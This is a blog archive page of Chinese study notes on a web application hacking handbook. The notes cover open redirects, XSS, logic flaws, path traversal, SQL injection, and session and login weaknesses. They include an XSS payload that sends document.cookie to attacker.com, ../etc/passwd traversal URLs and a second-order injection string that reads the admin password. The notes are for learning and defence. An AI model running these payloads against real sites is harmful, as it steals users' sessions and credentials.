Month: June 2010

黑客攻防技术宝典 — Notes 9.2 针对客户端的攻击 — 利用重定向漏洞

攻: 1.已知:本系统中输入银行卡号的页面URL为 http://www.hello.com/pay.jsp。登录合点击某链接即可进入此页面 2.攻击者不登录,直接输入http://www.hello.com/pay.jsp 3.系统提示登录,提示页面的URL是 http://www.hello.com/login.jsp? redir=pay.jsp 4.攻击者把地址栏里的页面改成 http://www.hello.com/login.jsp? redir=http://www.hallo.com/pay.jsp,并想办法让别的用户点这个URL 5.上当者点这个URL,进入http://www. hallo.com 的卡号输入页面,然后糊里糊涂地把卡号信息提交给 http://www. hallo.com这个钓鱼网站 防:   1.系统不应该从参数中获取重定向的目标地址   2.如果必须要从参数中获取,则应该校验参数中的URL是相对URL

黑客攻防技术宝典 — Notes 9.1 针对客户端的攻击 — 跨站点脚本XSS(1)

FYI, 软件安全领域的关注焦点已从服务器端攻击转变为客户端攻击 原书说,“ XSS攻击是针对其它用户的重量级攻击” 1.反射型漏洞    a.URL参数中接受一个文本 http://hello.com/msg.jsp?msg= Sorry,页面渲染后这个文本将打 印在页面上 <p>Sorry</p>,亦即将用户在HTTP参数中输入的文本“ 反射”给用户    b.攻击者在参数中不输入正常的文本,而是一段javascript,然后把这个URL发给一个用户         http://hello.com/msg.jsp?msg= <script>var+i=new+Image;+i.src="http://attacker.com/"%2bdocument.cookie;</script>    c.收到这个URL的用户点击之,就会使浏览器执行以下脚本    var i = new Image; i.src="http://attacker.com/"+[b]document.cookie[/b];        也就是说把自己的cookie发给了攻击者拥有的网站 "http://attacker.com/"。攻击者就这样简单地 挟持了一个会话。      这个脚本收集了 hello.com的Cookie,却把Cookie发到了 attacker.com,也就是说,这是个 跨站点的脚本 2.保存型漏洞    发表文章时,写入一段脚本,其他用户看你的帖子时就会执行这段脚本。    这种攻击很厉害:反射型攻击需要诱使别人点你的链接,这种攻击不用;别人点你的链接时基本上已 经登录了,这样你劫持到的session就更好用。    你甚至可以把脚本写入到图片中,对某些版本的IE来说,如果输入 http://../actual_script.jpg, IE浏览器会把它当HTML来解析。

黑客攻防技术宝典 — Notes 8 针对程序逻辑的攻击

开发人员喜欢做一些假设,而攻击者的操作却在假设之外 1.假设用户自己不会增、删、改HTTP参数 2.假设用户会按预定的顺序访问页面(攻击手段有 省略某些阶段、多次访问同一阶段,推后访问前一阶段,修改代表阶段的参数)。这种漏洞不但有可能暴露业务数据,甚至可能让人看到各种各样的异常信息 3.假设用户不会在最后一步提交前一步的参数 4.假设用户输入的金额是正数 5.没想到用户在获得折扣后会从购物车中删除大部分货物

黑客攻防技术宝典 — Notes 7 文件路径遍历

如果你看到一个URL这样写:    http://hello.com/file?=hi.doc 那就可以试试看hi.doc的上层目录有没有东西    http://hello.com/file?=../etc/passwd    http://hello.com/file?=../../etc/passwd    http://hello.com/file?=../../../etc/passwd 直到你拿到密码为止    

黑客攻防技术宝典 — Notes 6.1 注入攻击 — SQL注入

这章讲了很多SQL注入相关的攻击手段,但现在大部分网站都没有这个漏洞了。 只有一点可以稍提一下,就是 Second Order SQL Injection 比如说,你写的用户名是 foo’,由于系统使用了防注入,所以这种用户名没有引起问题,foo’ 被存进入了数据库 然后你要求修改 foo’ 的密码。这时系统从数据库里取出用户名,由于 系统只防止了用户输入中的非法字符,而对数据库中已有的数据没有去预防,因此就有可能造成这样的SQL:     select password from user where name = ‘foo” 这就会产生数据库语法错误。如果 你设定的用户名是   ‘ or 1 in (select password from users where userame=’admin’) — 那最终的SQL就是     select password from user where name = ‘ ‘ or 1 in (select password from users where …

黑客攻防技术宝典 — Notes 6.1 注入攻击 — SQL注入 Read More »

黑客攻防技术宝典 — Notes 4 针对Session的攻击

这一章很有意思,值得好好研究 Session管理的 漏洞主要有两种:    1. Session Token的编码规则很容易被识破,因此很容易被伪造    2. Session Token很容易被人截获,截获者可以用这个Token冒充用户干些事情 1. Token编码规则被识破   常见漏洞:       1.对明文的Token只使用了简单的模糊算法,比如Base64, Hex等      2.采用了简单的递增机制来生成Token      3.简单地使用当前毫秒数来构造Token      4.采用的随机算法的随机性太弱   一些探测技巧:      1.Token中有些字节并不起作用。你可以试删最后一个字节,再重新发出请求,看看还能否操作      2.以A登录,看看Token;再以AA登录,看看Token;… 或者能看出什么门道      3.几秒内迅速登录尽量多次,取得多个Token样本,观察他们随时间的变化规律      4.如果能看到服务器端的代码,就可以知道生成Token的算法 2. Session Token被人截获    常见漏洞:       1.页面没有使用Https         a.受保护页面并没有使用https,导致Cookie中的Token被Sniffer截获         b.受保护页面使用了https,但首页未使用,并且登录后Token不变! 如果Token在首页时被截获,截获者可以等用户登录后使用Token去到受保护的页面         c.受保护页面使用了https,但从未受保护页面去到受保护页面后Token未变       2.URL中带了Token         a.URL中带了token,然后访问日志文件给了别人         b.在Google中查询 …

黑客攻防技术宝典 — Notes 4 针对Session的攻击 Read More »

黑客攻防技术宝典 — Notes 3 针对Authentication的攻击

一些漏洞     1.密码太简单   2.登录失败时系统给出具体的出错信息,帮助黑客选取针对性的攻击措施   3.把用户名/密码丢进了Cookie,然后该Cookie被其他用户获得 (比如:“一周内不必登录”)   4.用户回答“忘记密码”相关问题后,系统没有发一封重置密码的邮件,而是直接把密码显示出来,或者让用户验证通过,去执行敏感的操作   5.服务器端代码逻辑有问题。比如在发生数据库异常后继续让用户成功登录     6.多阶段登录的漏洞:服务器代码错误地假定用户已经通过了上一阶段